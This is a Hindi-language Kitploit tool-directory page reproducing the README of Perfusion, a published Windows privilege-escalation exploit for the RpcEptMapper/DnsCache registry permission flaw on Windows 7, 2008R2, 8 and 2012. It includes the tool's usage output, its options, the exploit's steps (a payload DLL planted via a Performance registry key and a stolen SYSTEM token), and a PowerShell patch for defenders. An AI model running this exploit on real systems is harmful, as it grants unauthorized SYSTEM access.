Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Perfusion — RpcEptMapper रजिस्ट्री कुंजी अनुमतियों की कमजोरी के लिए शोषण (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
उपकरण/GitHubGitHub/itm4n/perfusion
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपोस्ट-शोषणपेनिट्रेशन टेस्टिंगArchived
GitHubitm4n/perfusion

Perfusion

RpcEptMapper रजिस्ट्री कुंजी अनुमतियों की कमजोरी के लिए शोषण (Windows 7 / 2088R2 / 8 / 2012)

रिपॉजिटरी देखें
427755 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

Perfusion

Windows 7, Windows Server 2008R2, Windows 8 और Windows Server 2012 पर, RpcEptMapper और DnsCache (केवल 7/2008R2) सेवाओं की रजिस्ट्री कुंजी कमजोर अनुमतियों के साथ कॉन्फ़िगर की गई है। कोई भी स्थानीय उपयोगकर्ता एक Performance उपकुंजी बना सकता है और फिर Windows Performance Counters का लाभ उठाकर WMI सेवा के संदर्भ में NT AUTHORITY\SYSTEM के रूप में एक मनमाना DLL लोड कर सकता है (इसलिए टूल का नाम)।

यह टूल पैठ परीक्षणों के दौरान सुरक्षा सलाहकारों की मदद करने के लिए है। यह सॉफ्टवेयर "जैसा है" प्रदान किया गया है, और मैं संभवतः कोई समर्थन प्रदान नहीं करूंगा। हालाँकि, मैंने इसे तीन अलग-अलग वर्चुअल मशीनों पर गहनता से परीक्षण किया है, इसलिए कोई महत्वपूर्ण समस्या नहीं होनी चाहिए।

अधिक जानकारी के लिए: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ 2021-04-21 अपडेट

0patch के अनुसार, यह भेद्यता अप्रैल 2021 के Windows Update (ESU) के साथ आंशिक रूप से ठीक कर दी गई थी। इसका मतलब है कि Windows 8 / Server 2012 के अपडेटेड संस्करण चलाने वाली मशीनों का अब शोषण नहीं किया जा सकता। हालाँकि Windows 7 / Server 2008 R2 अभी भी कमजोर बना हुआ है। आपको बस RpcEptMapper के बजाय Dnscache रजिस्ट्री कुंजी का लाभ उठाना होगा। मैंने PoC को अपडेट कर दिया है ताकि आप -k विकल्प के साथ इसे मैन्युअल रूप से निर्दिष्ट कर सकें।

ज्ञात समस्याएं

⚠️ इस टूल का उपयोग करने से पहले इसे पढ़ें ⚠️

इस टूल के विकास चरण के दौरान, मैंने दो अलग-अलग व्यवहार देखे:

  1. DLL को WMI सेवा की मुख्य प्रक्रिया द्वारा NT AUTHORITY\SYSTEM के रूप में सीधे लोड किया जाता है, इस स्थिति में शोषण पूरी तरह से काम करता है।
  2. DLL को WMI सेवा की एक सबप्रक्रिया द्वारा लोड किया जाता है जो NT AUTHORITY\LOCAL SERVICE के रूप में चलती है। इस स्थिति में, सेवा क्लाइंट का प्रतिरूपण करते हुए DLL लोड करती है। यह पता चला है कि Windows 7 पर विशेषाधिकार वृद्धि अभी भी संभव है (एक अन्य भेद्यता के कारण) लेकिन कार्यान्वयन लागत प्रयास के लायक नहीं थी।

मैं इस अंतर की व्याख्या नहीं कर सकता क्योंकि मेरा ट्रिगर कोड हमेशा एक जैसा था। वैसे भी, किसी भी स्थिति में, शोषण को अपना काम करने दें ताकि वह समाप्त होने पर सब कुछ साफ कर सके। यदि शोषण विफल होता है, तो भी कुछ मिनट या घंटों बाद इसके काम करने की संभावना है, हालाँकि।

✔️ जब शोषण काम करता है तो आपको यह देखना चाहिए:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ जब शोषण विफल होता है तो आपको यह देखना चाहिए:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

निर्माण निर्देश

यह समाधान दो प्रोजेक्ट्स से बना है जिन्हें एक विशिष्ट क्रम में संकलित करने की आवश्यकता है। सब कुछ पूर्व-कॉन्फ़िगर है, इसलिए आपको बस इन सरल निर्देशों का पालन करना होगा:

  1. Visual Studio 2019 के साथ समाधान खोलें
  2. Release / x64 चुनें
  3. Build > Build Solution

उपयोग

आप -h विकल्प का उपयोग करके सहायता संदेश देख सकते हैं।

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

उपचार / पैच

Windows के निम्नलिखित संस्करण कमजोर हैं:

Windows संस्करणकमजोर रजिस्ट्री कुंजियाँ
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

जहाँ तक मुझे पता है, यह भेद्यता Microsoft द्वारा किसी कारण से ठीक नहीं की जाएगी। सबसे अच्छा समाधान अभी भी Windows 10 / Server 2019 में अपग्रेड करना है, लेकिन यदि यह अल्पकालिक विकल्प नहीं है, तो आप निम्नलिखित रजिस्ट्री कुंजियों पर NT AUTHORITY\Authenticated Users और BUILTIN\Users दोनों के लिए CreateSubKey अनुमति को हटाकर स्वयं इस मुद्दे को पैच कर सकते हैं:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

मैंने इस भेद्यता के लिए एक PowerShell स्क्रिप्ट के रूप में एक पैच बनाया है: RegistryPatch.ps1. यह स्क्रिप्ट निम्नलिखित पहचानों के लिए उपर्युक्त दो रजिस्ट्री कुंजियों पर CreateSubKey अधिकार हटाती है: NT AUTHORITY\INTERACTIVE, BUILTIN\Users और/या BUILTIN\Authenticated Users.

  • जाँच करें कि क्या कोई मशीन कमजोर है: (यहाँ Windows Server 2012)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • पैच लागू करें: (यहाँ Windows Server 2008 R2)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

यह शोषण कैसे काम करता है?

नीचे इस टूल में कार्यान्वित शोषण चरण दिए गए हैं:

  1. एक प्रक्रिया बैकग्राउंड में निलंबित अवस्था में बनाई जाती है (निर्दिष्ट कमांड लाइन का उपयोग करके)।
  2. एम्बेडेड पेलोड DLL वर्तमान उपयोगकर्ता के Temp फ़ोल्डर में लिखा जाता है।
  3. HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper के अंतर्गत एक Performance कुंजी बनाई जाती है और इसे उपयुक्त मानों से भरा जाता है, जिसमें चरण 2 पर बनाए गए DLL का पूर्ण पथ शामिल है।
  4. WMI वर्ग Win32_Perf बनाया और आह्वान किया जाता है ताकि Windows Performance Counters का संग्रह ट्रिगर हो सके।
  5. DLL को WMI सेवा द्वारा या तो NT AUTHORITY\SYSTEM या NT AUTHORITY\LOCAL SERVICE के रूप में लोड किया जाता है।
  6. यदि DLL NT AUTHORITY\SYSTEM द्वारा लोड किया जाता है, तो इसके Token की नकल की जाती है और इसे उस प्रक्रिया पर लागू किया जाता है जो मूल रूप से चरण 1 में उपयोगकर्ता द्वारा बनाई गई थी।
  7. सब कुछ साफ कर दिया जाता है और निलंबित प्रक्रिया का मुख्य थ्रेड फिर से शुरू कर दिया जाता है।
टूल डाउनलोड करें